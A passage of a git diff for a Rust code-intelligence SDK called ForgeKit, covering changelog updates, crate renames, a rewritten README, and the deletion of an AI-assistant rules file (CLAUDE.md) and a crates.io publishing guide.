`CycleReport` with real `SymbolInfo` members (FQN, file_path, kind). `impact_analysis` replaced raw sqlitegraph k-hop with magellan `CodeGraph` BFS, tracking correct hop distances. `Cycle` type upgraded from `Vec` to `Vec` with full metadata. `CycleMember` type added to `forge_core::types`. 4 new integration tests with real indexed code. -- **`ForgeBuilder` with `db_path`/`db_dir` overrides**: `ForgeBuilder::db_path()` and `ForgeBuilder::db_dir()` allow explicit database path control for tests and non-standard setups. -- **Real git commit integration**: `Committer::finalize` now runs `git add` + `git commit` via `tokio::process::Command`. `CommitReport` includes `git_committed: bool` and `files_committed: Vec`. Non-fatal on missing git. -- **Verification retry/fix loop**: `AgentLoop::run` retries failed verifications up to `max_fix_attempts` (default: 3). `Planner::generate_fix_steps` asks the LLM for fix steps using error diagnostics. Fix steps are deduplicated against previous attempts. -- **`Generator` module for code generation**: `forge_agent::generate::Generator` takes a natural language description, gathers graph context via `Observer`, and calls the LLM. Supports plain code or JSON `{"path":"...","code":"..."}` envelope responses. -- **Knowledge graph module** (`forge_core::knowledge`): `KnowledgeGraph` backed by sqlitegraph native-v3. Eight node types (symbol, file, discovery, issue, pattern, knowledge, hotspot, cfg_block), eleven edge types, traversal operations (callers_of, callees_of, correlated, affected_by), graph algorithms (shortest_path, reachability, k_hop), FTS5 bridge to Magellan DB, sync_symbols/sync_references, and `query()` entry point. `Forge::knowledge()` accessor. -- **Workflow executor refactor**: Monolithic `executor.rs` (3340 lines) split into `executor/` directory with focused modules: `serial.rs`, `parallel.rs`, `result.rs`, `audit.rs`, `tests.rs`. -- **Workflow submodule splits**: All workflow files over 1000 LOC split into focused submodules β€” `tools/` (fallback, process, registry), `plan/` (graph, types), `checkpoint/` (service, validation), `tasks/` (graph_query, agent_loop, shell, file_edit, tool), `rollback/` (tool_compensation, compensation_registry, engine), `dag/` (core, tests). No remaining workflow file exceeds 1000 LOC. -- **Integration gap fixes**: KnowledgeGapAnalyzer, BeliefGraph dependencies, ToolRegistry, phase checkpoints, CachingLlmProvider, Policy::Custom, Agent::run_workflow(), WorkflowBuilder::build_executor(), KnowledgeExplorer with real sqlitegraph queries. -- **Diff engine** (`forge_core::diff`): `UnifiedDiff::generate/apply/reverse/render/stats` via `similar` crate. Supports unified diff generation, idempotent apply, reverse application, and diff statistics. 14 tests. -- **Structured diagnostics** (`forge_core::diagnostic`): `Diagnostic` builder pattern with `DiagnosticSeverity`, `DiagnosticSource`, `Location`, `FixSuggestion`, `TextEdit`, `RelatedInfo`. `DiagnosticParser` trait with `CargoDiagnosticParser` (JSON + rustc line format), `GoDiagnosticParser`, `GenericDiagnosticParser`. 11 tests. -- **Build system abstraction** (`forge_core::build`): `BuildSystem` trait (detect/check/build/test/clean) with `CargoBuildSystem`, `GoBuildSystem`, `NpmBuildSystem`, `MakeBuildSystem`. `BuildModule` with `detect()` factory. `Forge::build()` returns `Option`. 12 tests. -- **Project scaffolding** (`forge_core::project`): `ProjectModule`, `ProjectScaffold`, `ProjectInfo`, `project_template()` with templates for Rust/Python/Java/C/TypeScript. `detect_project()` auto-detects language from directory contents. 10 tests. -- **Dependency management** (`forge_core::dependency`): `DependencyModule` with `DependencyManifest`, `Dependency`, `DependencySource`. Parses and mutates Cargo.toml, package.json, go.mod. Add/remove dependency operations. 10 tests. -- **Undo stack** (`forge_core::edit::undo`): `EditModule::undo()/can_undo()/undo_depth()/clear_undo_stack()` with bounded `Mutex>` (default 100). Hooked into `create_file`, `write_file`, `create_directory`. `ForgeBuilder::undo_capacity()` config. 6 tests. -- **Streaming progress** (`forge_core::progress`): `ProgressSink` trait, `NoopProgress`, `ChannelProgress` (tokio unbounded channel), `ProgressEmitter` with `started/progress/completed/failed` methods. 6 tests. -- **Workspace awareness** (`forge_core::workspace`): `Workspace::detect/open/project_for_path`. Cargo workspace member parsing, Go/Node/pnpm monorepo discovery, walk-up root detection. `Forge::as_workspace()` accessor. 9 tests. -- **Multi-language identifiers** (`forge_core::edit::identifiers`): `identifier_spans(source, target, lang)` with `qualified_prefixes()` for Rust/Python/Java/C/Cpp/TypeScript/JavaScript/Go. `language_from_extension()` helper. 5 tests. -- **File creation API**: `EditModule::create_file/create_directory/write_file` with `validate_relative_path` (rejects absolute paths, validates no path traversal). `ForgeError::PathNotAllowed/FileAlreadyExists`. 7 tests. -- **Forge facade accessors**: `Forge::project()`, `Forge::dependency()`, `Forge::as_workspace()` for module access without manual construction. -- **Agent integration β€” verify.rs**: `Verifier::compile_check/test_check` now delegates to `BuildModule::check/test` when a Forge instance is available, falling back to raw `cargo` commands otherwise. -- **Agent integration β€” mutate.rs**: `Mutator::with_forge()` constructor. `PlanOperation::Create` uses `EditModule::create_file()` when forge is available for path validation and undo support. +- **thiserror 1.0 β†’ 2.0** across all 3 crates that declare it (`forgekit-core`, `forgekit-agent`, `forgekit-reasoning`). `forgekit-runtime` has no thiserror dependency. +- **sqlitegraph 3.0.7 β†’ 3.2.5** β€” inherits SIMD HNSW, `parking_lot` locks, and streaming iterators from the upstream 3.2.x line. +- **magellan 4.2 β†’ 4.7** (`forgekit-core`). +- **atheneum 0.1.3 β†’ 0.5.0, envoy 0.1.0 β†’ 0.2.0** (`forgekit-agent`, optional features). Migrated 8 param structs to the new atheneum API; fixed 3 `query_knowledge` call sites in `atheneum_tool/handlers.rs` and `chat/retrieval.rs`. +- **splice 2.9, llmgrep 3.8, mirage-analyzer 1.8** (`forgekit-core`). tree-sitter version not bumped (blocked by mirage pin). +- **rusqlite** β€” not upgraded; transitively pinned by sqlitegraph's own rusqlite requirement. ### Changed -- **Edit module delegates to splice::forge**: `patch_symbol()` uses `llmgrep::forge::search_symbols` for file discovery then `splice::forge::patch_symbol_in_file` for each file. `rename_symbol()` delegates to `splice::forge::rename_symbol_across_files`. Removed ~160 LOC of manual magellan iteration and identifier_spans utilities. -- **Search module delegates to llmgrep::forge**: `search_via_llmgrep()` replaced with `llmgrep::forge::search_symbols`/`search_symbols_regex` calls. Removed ~30 LOC of manual `Backend` + `SearchOptions` construction. -- **Tree-sitter CFG extraction removed**: `CfgExtractor` in `treesitter/mod.rs` is no longer called by `cfg/mod.rs`. `CfgModule::index()` is now a no-op with documentation explaining that CFG data is populated by magellan during `GraphModule::index()`. -- **Edit module: splice-only refactored**: `patch_symbol()` and `rename_symbol()` no longer fall back to naive file-system scanning or `String::replace_range`. They now require `graph.db` + magellan + splice features. Missing DB returns explicit error: `"graph.db not found; run forge.graph().index() first"`. Missing splice feature returns: `"splice feature not enabled"`. -- **Edit module modularized**: `edit/mod.rs` split into `edit/mod.rs` (986 LOC), `edit/undo.rs` (99 LOC), `edit/identifiers.rs` (98 LOC). No file exceeds 1K LOC. -- **Forge struct gains undo_capacity field**: `Forge { store, undo_capacity }` β€” `Forge::edit()` passes capacity through to `EditModule::with_undo_capacity()`. -- **Verifier compiles/tests via BuildModule**: When forge is configured, structured diagnostics from `forge_core::diagnostic::Diagnostic` are converted to agent `Diagnostic` type. Falls back to raw `Command::new("cargo")` otherwise. -- **Mutator create_file via EditModule**: When forge is configured, `PlanOperation::Create` delegates to `EditModule::create_file()` for path validation and undo tracking. -- **`#[cfg(test)]` gating on helper functions**: `collect_files_recursive`, `find_symbol_span`, `find_definition_end`, `simple_word_replace` are now gated behind `#[cfg(test)]` since they are only used by unit tests after the splice-only refactor. -- **Tree-sitter ecosystem bump**: `tree-sitter` 0.22 β†’ 0.25, `tree-sitter-rust` 0.21 β†’ 0.25, `tree-sitter-javascript` 0.21 β†’ 0.25. Unblocks `ring` β‰₯ 0.17.12 which resolves RUSTSEC-2025-0009. -- **Dependency bumps**: `magellan` 3.3.8 β†’ 3.3.10, `mirage` 1.4.2 β†’ 1.4.4, `splice` 2.6.9 β†’ 2.6.11. All aligned on `cc` β‰₯ 1.2 for `ring` compatibility. +- **`parking_lot` lock migration** β€” `std::sync::Mutex`/`RwLock` replaced with `parking_lot` equivalents in `forgekit-core` (`undo_stack`, `watcher`), `forgekit-reasoning` (`service.rs`, `thread_safe.rs`), and `forgekit-agent` (`evidence/session.rs`, `workflow/tasks/shell.rs`, `workflow/state.rs`). `ConcurrentState::read()` returns the guard directly instead of `Result`. `tokio::sync` locks left intact (they guard across `.await`). +- **`AtomicU64` counter** replaces `Mutex` in `forgekit-reasoning` `thread_safe.rs`. +- **`cargo clippy --all-targets --all-features -- -D warnings`** passes clean (after dead-code cleanup below). ### Removed -- **`graph/queries.rs`**: `GraphQueryEngine` and all associated fallback query logic deleted. Replaced by direct `magellan::CodeGraph` calls. -- **All `#[cfg(feature = "magellan")]` / `#[cfg(not(...))]` guards in graph module**: Unconditional magellan dependency β€” feature flag removed from graph code path. -- **`patch_symbol_via_files()`**: Removed entirely. Was doing recursive directory scan + naive string replacement. -- **`rename_symbol_via_files()`**: Removed entirely. Was doing recursive directory scan + `simple_word_replace()`. -- **`wave_08_treesitter_cfg` E2E tests**: Removed 18 E2E tests that tested the now-removed tree-sitter CFG extraction behavior. These are superseded by the magellan/mirage integration. - -### Fixed - -- **`test_runtime_error_handling` incorrect assertion**: Test claimed `Runtime::new` creates nonexistent directories, but `UnifiedGraphStore::open` explicitly rejects them. Fixed to first assert the error, then create the directory and assert success. -- **`test_concurrent_state_stress_test` and `test_concurrent_state_thread_safety` deadlock**: Tests used `std::sync::Barrier` and `std::sync::RwLock` inside `tokio::spawn` with a single-threaded runtime, causing deadlock. Switched to `#[tokio::test(flavor = "multi_thread", worker_threads = 4)]`. -- **forge-runtime `default-features = false` build break**: After magellan unification removed cfg guards from graph/search modules, forge-runtime (which disabled default features) could no longer compile. Changed to inherit forge-core's default features. -- **`test_path_builder_filters` stale DB conflict**: Test now uses `tempfile::tempdir()` instead of `std::env::current_dir()` to avoid hitting the project's own `.magellan/forge.db` with schema version 5 vs supported 4. -- **Clippy lints**: Resolved dead_code and unused variable warnings in `forge_agent/src/workflow/plan.rs`, `semgrep.rs`, `forge_core/src/graph/mod.rs`, and `indexing.rs`. -- **`SemgrepRunner` dead_code suppression**: Removed `#[allow(dead_code)]`, prefixed unused fields with `_`. -- **`edit/undo.rs` bare unwrap**: `stack.pop().unwrap()` replaced with `.expect("invariant: stack non-empty after is_empty check")`. -- **`loop.rs` modularization**: Renamed `loop.rs` β†’ `agent_loop.rs` (eliminated `r#loop` raw identifier), then split into `agent_loop/` directory: `mod.rs` (311), `types.rs` (30), `phases.rs` (546), `tests.rs` (627). All 6 reference sites updated. +- **Dead-code cleanup** (zero-tolerance policy) β€” `cargo check --all-targets --all-features` and clippy now emit zero dead-code warnings: + - `Mutator`: removed `forge` field and the `with_forge`, `rollback`, `commit_transaction`, `preview` methods + tests. `Mutator::Create` arm now writes files directly via `tokio::fs`. Tests use `into_transaction().rollback()`/`.commit()`. + - `policy.rs`: deleted `AllPolicies` and `AnyPolicy` structs + impls + 2 tests (no inbound callers; `PolicyValidator` covers the same use case). + - `commit.rs`: deleted `generate_summary` method + test. + - `AuditError`: renamed `SerializationFailed` β†’ `Serialization`. + - `ConflictReason`: deleted `CircularDependency` and `MissingDependency` variants (never constructed). + - `Conflict`: deleted `step_indices` field; conflict details folded into error messages. + - `VerificationReport`: deleted `changed_files` field; replaced with a `tracing::info!` log. --- @@ -176,7 +335,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Added -**Workflow Orchestration (forge_agent v0.4.0):** +**Workflow Orchestration (forgekit_agent v0.4.0):** - **WorkflowExecutor** - DAG-based task execution engine - Sequential and parallel execution modes - Topological sort for dependency resolution @@ -257,17 +416,17 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Fixed - **Code cleanup** - Removed unused code and fields across all crates -- **forge_core** - Removed unused imports, fields, and inlined unused functions -- **forge_runtime** - Removed unused imports -- **forge_agent** - Removed unused fields from modules (observe, policy, planner, mutate, verify, commit) -- **forge-reasoning** - Removed duplicate SCC module, unused fields and methods +- **forgekit_core** - Removed unused imports, fields, and inlined unused functions +- **forgekit_runtime** - Removed unused imports +- **forgekit_agent** - Removed unused fields from modules (observe, policy, planner, mutate, verify, commit) +- **forgekit-reasoning** - Removed duplicate SCC module, unused fields and methods - All 522 tests pass ## [0.2.0] - 2026-02-21 ### Added -**Core SDK (forge_core v0.2.0):** +**Core SDK (forgekit_core v0.2.0):** - **GraphModule** - Symbol lookup, reference tracking, call graph navigation - `find_symbol(name)` - Find symbols by name - `find_symbol_by_id(id)` - Find symbol by ID @@ -327,13 +486,13 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - Circular dependency detection using petgraph - Depth analysis -**Forge Runtime (forge_runtime v0.1.0):** +**Forge Runtime (forgekit_runtime v0.1.0):** - **ForgeRuntime** - Runtime services stub - RuntimeConfig for configuration - RuntimeStats for metrics - File watching infrastructure (notify dependency) -**Forge Agent (forge_agent v0.1.0):** +**Forge Agent (forgekit_agent v0.1.0):** - **Agent** - Deterministic AI orchestration loop - Six-phase loop: Observe β†’ Constrain β†’ Plan β†’ Mutate β†’ Verify β†’ Commit - Observation, ConstrainedPlan, ExecutionPlan types @@ -405,7 +564,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 - **535+ tests** passing (100% pass rate) - E2E tests: 163 tests across 8 waves -- Unit tests: 155 forge_core tests + 217 other tests +- Unit tests: 155 forgekit_core tests + 217 other tests - Integration tests for cross-module functionality - Performance benchmarks included diff --git a/CLAUDE.md b/CLAUDE.md deleted file mode 100644 index 6c004cb..0000000 --- a/CLAUDE.md +++ /dev/null @@ -1,217 +0,0 @@ -# ForgeKit Development Rules - Unified Code Intelligence SDK - -**Project:** ForgeKit - Deterministic code intelligence SDK + agent orchestration -**Workspace Members:** forge-core (0.2.2), forge-runtime (0.1.2), forge-agent (0.4.0), forge-reasoning (0.1.2) -**Last Updated:** 2026-05-04 - ---- - -## Shared Agent Workflow - -Follow `/home/feanor/Projects/CLAUDE.md` for the shared rules: state assumptions before coding, use Magellan/llmgrep/Mirage for code-structure claims, keep edits surgical, preserve dirty worktree changes, and report fresh verification evidence before claiming completion. Repo-specific rules below add ForgeKit architecture and workspace conventions. - -## Quick Start - -```bash -# Build all workspace members -cargo build - -# Build release -cargo build --release - -# Run tests -cargo test - -# Run tests for specific member -cargo test -p forge-core -cargo test -p forge-agent - -# Lint -cargo clippy --all-targets -``` - -**Note:** This is a Cargo workspace with 4 members. `cargo build` builds all of them. - ---- - -## Database Convention - -Project database: `.magellan/forge.db` - -Since this is a workspace, the database indexes all member `src/` directories: -```bash -# Index each workspace member -magellan watch --root ./forge_core/src --db .magellan/forge.db --debounce-ms 500 -magellan watch --root ./forge_runtime/src --db .magellan/forge.db --debounce-ms 500 -magellan watch --root ./forge_agent/src --db .magellan/forge.db --debounce-ms 500 -magellan watch --root ./forge-reasoning/src --db .magellan/forge.db --debounce-ms 500 -``` - ---- - -## Workspace Architecture - -``` -forge/ # Workspace root -β”œβ”€β”€ Cargo.toml # Workspace definition -β”œβ”€β”€ AGENTS.md # Subagent rules (epistemic discipline) -β”œβ”€β”€ forge_core/ # Core SDK - graph, search, CFG, edit -β”‚ └── src/ -β”‚ β”œβ”€β”€ graph/ # Symbol graph (queries.rs) -β”‚ β”œβ”€β”€ analysis/ # Complexity, dead code, modules -β”‚ β”œβ”€β”€ cfg/ # Control flow graph -β”‚ β”œβ”€β”€ edit/ # Code editing operations -β”‚ β”œβ”€β”€ search/ # Pattern-based code search -β”‚ β”œβ”€β”€ storage/ # Storage backends -β”‚ β”œβ”€β”€ treesitter/ # Tree-sitter parsing -β”‚ └── types.rs # Core types -β”œβ”€β”€ forge_runtime/ # Runtime - indexing, caching, metrics -β”‚ └── src/ -β”‚ β”œβ”€β”€ lib.rs # Runtime interface -β”‚ └── metrics.rs # Performance metrics -β”œβ”€β”€ forge_agent/ # Agent - workflow orchestration, AI loop -β”‚ └── src/ -β”‚ β”œβ”€β”€ cli.rs # CLI entry point -β”‚ β”œβ”€β”€ loop.rs # Agent execution loop -β”‚ β”œβ”€β”€ planner.rs # Task planning -β”‚ β”œβ”€β”€ audit.rs # Audit trail -β”‚ β”œβ”€β”€ commit.rs # Commit management -β”‚ β”œβ”€β”€ mutate.rs # Code mutation -β”‚ β”œβ”€β”€ observe.rs # Code observation -β”‚ β”œβ”€β”€ policy.rs # Policy enforcement -β”‚ β”œβ”€β”€ transaction.rs # Transaction management -β”‚ β”œβ”€β”€ verify.rs # Verification gates -β”‚ └── workflow/ # Workflow engine (DAG, checkpoint, rollback, timeout, etc.) -β”œβ”€β”€ forge-reasoning/ # Reasoning - debugging, hypotheses, contradictions -β”‚ └── src/ -β”‚ β”œβ”€β”€ belief/ # Belief graph -β”‚ β”œβ”€β”€ checkpoint/ # Debug checkpointing -β”‚ β”œβ”€β”€ gaps/ # Knowledge gap analysis -β”‚ β”œβ”€β”€ hypothesis/ # Hypothesis management -β”‚ β”œβ”€β”€ impact/ # Impact analysis (preview, propagation, snapshot) -β”‚ β”œβ”€β”€ verification/ # Verification runner (check, retry) -β”‚ β”œβ”€β”€ service.rs # Main service interface -β”‚ β”œβ”€β”€ storage.rs # Storage backends -β”‚ β”œβ”€β”€ storage_sqlitegraph.rs # sqlitegraph backend -β”‚ β”œβ”€β”€ websocket.rs # WebSocket interface -β”‚ └── export_import.rs # State export/import -``` - ---- - -## Mandatory Protocol - -**Before ANY code change:** - -1. **Check graph health** - ```bash - magellan status --db .magellan/forge.db - ``` - -2. **Discover symbols before creating or changing them** - ```bash - llmgrep --db .magellan/forge.db search --query "symbol_name" --output human - magellan find --db .magellan/forge.db --name "symbol_name" - ``` - -3. **Trace relationships before signature changes** - ```bash - magellan refs --db .magellan/forge.db --name "func" --path "forge_core/src/graph/queries.rs" --direction in - magellan refs --db .magellan/forge.db --name "func" --path "forge_core/src/graph/queries.rs" --direction out - ``` - -4. **Analyze control flow (Rust only)** - ```bash - mirage --db .magellan/forge.db cfg --function "func_name" - ``` - -5. **Check impact before refactoring** - ```bash - splice reachable --symbol "func_name" --path "src/file.rs" --db .magellan/forge.db - ``` - ---- - -## Known Issues - -- **License mismatch**: `forge_core`, `forge_runtime`, and `forge_agent` have `GPL-3.0-or-later` but should be `GPL-3.0 only`. The pre-commit hook will block until fixed. -- **Crate naming**: `forge-reasoning` should be `forgekit-reasoning` for consistency (requires new crate publish on crates.io, cannot rename in place). -- **34 clippy warnings** in forgekit-agent (mostly elided lifetimes) β€” should be addressed. - ---- - -## When In Doubt - -1. Read the source code -2. Check the graph database -3. Run tests -4. Document the decision -5. Ask for clarification - -**DO NOT GUESS.** - -# CLAUDE.md - -Behavioral guidelines to reduce common LLM coding mistakes. Merge with project-specific instructions as needed. - -**Tradeoff:** These guidelines bias toward caution over speed. For trivial tasks, use judgment. - -## 1. Think Before Coding - -**Don't assume. Don't hide confusion. Surface tradeoffs.** - -Before implementing: -- State your assumptions explicitly. If uncertain, ask. -- If multiple interpretations exist, present them - don't pick silently. -- If a simpler approach exists, say so. Push back when warranted. -- If something is unclear, stop. Name what's confusing. Ask. - -## 2. Simplicity First - -**Minimum code that solves the problem. Nothing speculative.** - -- No features beyond what was asked. -- No abstractions for single-use code. -- No "flexibility" or "configurability" that wasn't requested. -- No error handling for impossible scenarios. -- If you write 200 lines and it could be 50, rewrite it. - -Ask yourself: "Would a senior engineer say this is overcomplicated?" If yes, simplify. - -## 3. Surgical Changes - -**Touch only what you must. Clean up only your own mess.** - -When editing existing code: -- Don't "improve" adjacent code, comments, or formatting. -- Don't refactor things that aren't broken. -- Match existing style, even if you'd do it differently. -- If you notice unrelated dead code, mention it - don't delete it. - -When your changes create orphans: -- Remove imports/variables/functions that YOUR changes made unused. -- Don't remove pre-existing dead code unless asked. - -The test: Every changed line should trace directly to the user's request. - -## 4. Goal-Driven Execution - -**Define success criteria. Loop until verified.** - -Transform tasks into verifiable goals: -- "Add validation" β†’ "Write tests for invalid inputs, then make them pass" -- "Fix the bug" β†’ "Write a test that reproduces it, then make it pass" -- "Refactor X" β†’ "Ensure tests pass before and after" - -For multi-step tasks, state a brief plan: -``` -1. [Step] β†’ verify: [check] -2. [Step] β†’ verify: [check] -3. [Step] β†’ verify: [check] -``` - -Strong success criteria let you loop independently. Weak criteria ("make it work") require constant clarification. - ---- - -**These guidelines are working if:** fewer unnecessary changes in diffs, fewer rewrites due to overcomplication, and clarifying questions come before implementation rather than after mistakes. \ No newline at end of file diff --git a/Cargo.toml b/Cargo.toml index fdb0963..135aa7a 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,10 +1,10 @@ [workspace] resolver = "2" members = [ - "forge_core", - "forge_runtime", - "forge_agent", - "forge-reasoning", + "forgekit_core", + "forgekit_runtime", + "forgekit_agent", + "forgekit-reasoning", ] [workspace.dependencies] diff --git a/PUBLISH.md b/PUBLISH.md deleted file mode 100644 index f0e22ec..0000000 --- a/PUBLISH.md +++ /dev/null @@ -1,245 +0,0 @@ -# Publishing ForgeKit - -Guide for publishing ForgeKit to GitHub and crates.io. - -## Prerequisites - -- GitHub account with access to `oldnordic` organization -- crates.io account with publish permissions -- Local repository at `/home/feanor/Projects/forge` - -## Step 1: Create GitHub Repository - -### Option A: Web Interface - -1. Go to: https://github.com/new -2. Fill in: - - **Owner:** oldnordic - - **Repository name:** forge - - **Description:** Deterministic code intelligence SDK with dual backend support - - **Visibility:** Public - - **Initialize:** ❌ **DO NOT** check "Initialize this repository with a README" -3. Click "Create repository" - -### Option B: GitHub CLI - -```bash -gh repo create oldnordic/forge \ - --public \ - --description "Deterministic code intelligence SDK with dual backend support" \ - --source=/home/feanor/Projects/forge \ - --remote=origin \ - --push -``` - -## Step 2: Push Local Repository - -If you used Option A (web), push manually: - -```bash -cd /home/feanor/Projects/forge - -# Add remote (if not already set) -git remote add origin git@github.com:oldnordic/forge.git - -# Push to GitHub -git branch -M master -git push -u origin master -``` - -## Step 3: Verify GitHub Repository - -Check: https://github.com/oldnordic/forge - -Should contain: -- [ ] README.md -- [ ] LICENSE.md (GPL-3.0) -- [ ] CHANGELOG.md -- [ ] docs/ directory with all documentation -- [ ] forge_core/ crate -- [ ] forge_runtime/ crate -- [ ] forge_agent/ crate - -## Step 4: Publish to crates.io - -### Prerequisites - -1. Login to crates.io: - ```bash - cargo login - # Enter API token from https://crates.io/settings/tokens - ``` - -2. Check you can publish: - ```bash - cargo owner --list -p forge-core - ``` - -### Publication Order - -Publish in dependency order: - -#### 1. forge_core - -```bash -cd /home/feanor/Projects/forge/forge_core - -# Dry run first -cargo publish --dry-run - -# If successful, publish -cargo publish --allow-dirty - -# Wait for availability -sleep 60 -``` - -#### 2. forge_runtime - -```bash -cd /home/feanor/Projects/forge/forge_runtime - -# Update dependency to use published version first: -# In Cargo.toml, change: -# forge_core = { path = "../forge_core", ... } -# to: -# forge_core = { version = "0.2.0", ... } - -# Dry run -cargo publish --dry-run - -# Publish -cargo publish --allow-dirty - -# Wait -sleep 60 -``` - -#### 3. forge_agent - -```bash -cd /home/feanor/Projects/forge/forge_agent - -# Update dependency: -# forge_core = { version = "0.2.0", ... } - -# Dry run -cargo publish --dry-run - -# Publish -cargo publish --allow-dirty -``` - -### Verify crates.io - -Check each crate: - -- https://crates.io/crates/forge-core -- https://crates.io/crates/forge-runtime -- https://crates.io/crates/forge-agent - -## Step 5: Post-Publication - -### Update Dependencies - -After all crates are published, update to use versioned dependencies: - -```toml -# forge_runtime/Cargo.toml -[dependencies] -forge_core = { version = "0.2.0", default-features = false } - -# forge_agent/Cargo.toml -[dependencies] -forge_core = { version = "0.2.0", default-features = false } -``` - -### Tag Release - -```bash -cd /home/feanor/Projects/forge -git tag -a v0.2.0 -m "Release v0.2.0" -git push origin v0.2.0 -``` - -### Create GitHub Release - -1. Go to: https://github.com/oldnordic/forge/releases/new -2. Choose tag: v0.2.0 -3. Title: "ForgeKit v0.2.0" -4. Description: Copy from CHANGELOG.md -5. Publish release - -## Troubleshooting - -### "Repository not found" on push - -Repository doesn't exist on GitHub yet. Create it first (Step 1). - -### "crate already exists" on publish - -- Check if you have ownership: `cargo owner --list -p forge-core` -- Contact existing owners if needed - -### "failed to verify package" - -```bash -# Check what files are included -cargo package --list -p forge_core - -# Make sure all files are committed -git add -A -git commit -m "Prepare for publish" -``` - -### Dependency version conflicts - -```bash -# Update all dependencies -cargo update - -# Check tree -cargo tree -p forge_core -``` - -## Checklist - -Before publishing: - -- [ ] Version bumped in all Cargo.toml -- [ ] CHANGELOG.md updated -- [ ] All tests pass: `cargo test --workspace --all-features` -- [ ] Documentation builds: `cargo doc --no-deps` -- [ ] GitHub repository created -- [ ] Code pushed to GitHub -- [ ] crates.io login working -- [ ] LICENSE.md present -- [ ] README.md present -- [ ] All docs/ included - -## Verification Commands - -```bash -# Test everything -cargo test --workspace --all-features - -# Check formatting -cargo fmt -- --check - -# Run clippy -cargo clippy --all-targets --all-features -- -D warnings - -# Build docs -cargo doc --no-deps - -# Dry run publish -cd forge_core && cargo publish --dry-run -cd ../forge_runtime && cargo publish --dry-run -cd ../forge_agent && cargo publish --dry-run -``` - -## Support - -For issues: -- GitHub: https://github.com/oldnordic/forge/issues -- crates.io: https://crates.io/crates/forge-core \ No newline at end of file diff --git a/README.md b/README.md index d030cd1..5ce43b5 100644 --- a/README.md +++ b/README.md @@ -1,237 +1,250 @@ # ForgeKit - Code Intelligence SDK for Rust [![License: GPL-3.0](https://img.shields.io/badge/License-GPL%203.0-blue.svg)](https://opensource.org/licenses/GPL-3.0) -[![Build Status](https://img.shields.io/badge/build-passing-brightgreen)](https://github.com/oldnordic/forge) -[![Tests](https://img.shields.io/badge/tests-408%20passing-brightgreen)](https://github.com/oldnordic/forge) - -ForgeKit provides a unified SDK for code intelligence operations, integrating multiple tools into a single API with support for both SQLite and Native V3 backends. - -## Features - -**Core SDK:** -- Graph queries: Symbol lookup, reference tracking, call graph navigation -- Impact analysis: k-hop traversal to find affected symbols -- Semantic search: Pattern-based code search via LLMGrep -- Control flow analysis: CFG construction and analysis via Mirage -- Dead code detection: Find unused functions and methods -- Complexity metrics: Cyclomatic complexity and risk analysis -- Safe code editing: Span-safe refactoring via Splice - -**Workflow Orchestration (v0.4):** -- DAG-based task execution with dependency resolution -- Parallel execution via fork-join pattern -- State checkpointing and recovery -- Cancellation tokens and timeout handling -- Compensation-based rollback (saga pattern) -- YAML workflow parser for declarative workflows -- Tool registry with fallback handlers - -**Infrastructure:** -- Dual backend support: SQLite (stable) or Native V3 (high performance) -- Async-first: Built on Tokio -- Type-safe error handling with thiserror + +> **Alpha software β€” work in progress.** All crates are functional but the +> public APIs are still settling and may see breaking changes before v1.0. +> The deterministic agent loop is proven end-to-end; the ReAct loop and +> workflow engine are functional but less battle-tested. See +> [Known Limitations](#known-limitations) for what is unsafe or unfinished. + +ForgeKit provides a unified SDK for code intelligence operations β€” graph queries, control flow analysis, safe code editing, and LLM-driven agent workflows β€” integrated through a single `Forge` instance backed by [magellan](https://github.com/oldnordic/magellan) code graphs. + +## Workspace Structure + +| Crate | Purpose | +|-------|---------| +| `forgekit_core` | Core SDK: graph, search, CFG, edit, and analysis APIs | +| `forgekit_runtime` | File watching, caching, indexing coordination, metrics | +| `forgekit_agent` | Agent loop, workflow DAG engine, chat providers, and ReAct agent | +| `forgekit-reasoning` | Temporal checkpointing for reasoning tools | ## Quick Start ```rust -use forge_core::{Forge, BackendKind}; +use forgekit_core::Forge; #[tokio::main] async fn main() -> anyhow::Result<()> { - // Open a codebase with default backend (SQLite) let forge = Forge::open("./my-project").await?; - - // Find symbols + let symbols = forge.graph().find_symbol("main").await?; - println!("Found: {:?}", symbols); - - // Find all callers of a function + for sym in &symbols { + println!("{} ({}): {}:{}", sym.name, sym.kind, sym.location.file_path.display(), sym.location.line_number); + } + let callers = forge.graph().callers_of("my_function").await?; println!("Callers: {}", callers.len()); - - // Impact analysis - what would break if we change this? - let impact = forge.graph() + + let impacted = forge.graph() .impact_analysis("critical_function", Some(2)) .await?; - println!("Affected symbols: {}", impact.len()); - + for sym in impacted { + println!("{} (hop {}): {}", sym.name, sym.hop_distance, sym.file_path); + } + Ok(()) } ``` ## Installation -Add to your `Cargo.toml`: +```toml +[dependencies] +forgekit-core = "0.3" +``` + +For the agent layer with LLM support: ```toml [dependencies] -forge-core = "0.2" +forgekit-agent = { version = "0.5", features = ["llm-ollama"] } ``` ### Feature Flags -**Storage Backends:** -- `sqlite` - SQLite backend (default) -- `native-v3` - Native V3 high-performance backend +**`forgekit_core`:** +- `sqlite` (default) β€” SQLite backend via sqlitegraph -**Tool Integrations:** -- `magellan-sqlite` / `magellan-v3` - Code indexing -- `llmgrep-sqlite` / `llmgrep-v3` - Semantic search -- `mirage-sqlite` / `mirage-v3` - CFG analysis -- `splice-sqlite` / `splice-v3` - Code editing +**`forgekit_agent`:** +- `sqlite` (default) β€” SQLite backend +- `llm-ollama` β€” Ollama chat provider (gates `reqwest`) +- `llm-openai` β€” OpenAI chat provider (gates `reqwest`) +- `llm-anthropic` β€” Anthropic chat provider (gates `reqwest`) +- `envoy` β€” Multi-agent coordination via Envoy -**Convenience Groups:** -- `tools-sqlite` - All tools with SQLite -- `tools-v3` - All tools with V3 -- `full-sqlite` / `full-v3` - Everything +## Core SDK (`forgekit_core`) -### Examples +### Graph Queries -```toml -# Default: SQLite backend with all tools -forge-core = "0.2" +All graph queries go through the magellan code graph database: -# Native V3 backend with all tools -forge-core = { version = "0.2", features = ["full-v3"] } +```rust +let forge = Forge::open("./project").await?; -# Minimal: Just storage backends -forge-core = { version = "0.2", default-features = false, features = ["sqlite"] } +let symbols = forge.graph().find_symbol("process_request").await?; +let callers = forge.graph().callers_of("process_request").await?; +let refs = forge.graph().references("MyStruct").await?; +let cycles = forge.graph().cycles().await?; +let impacted = 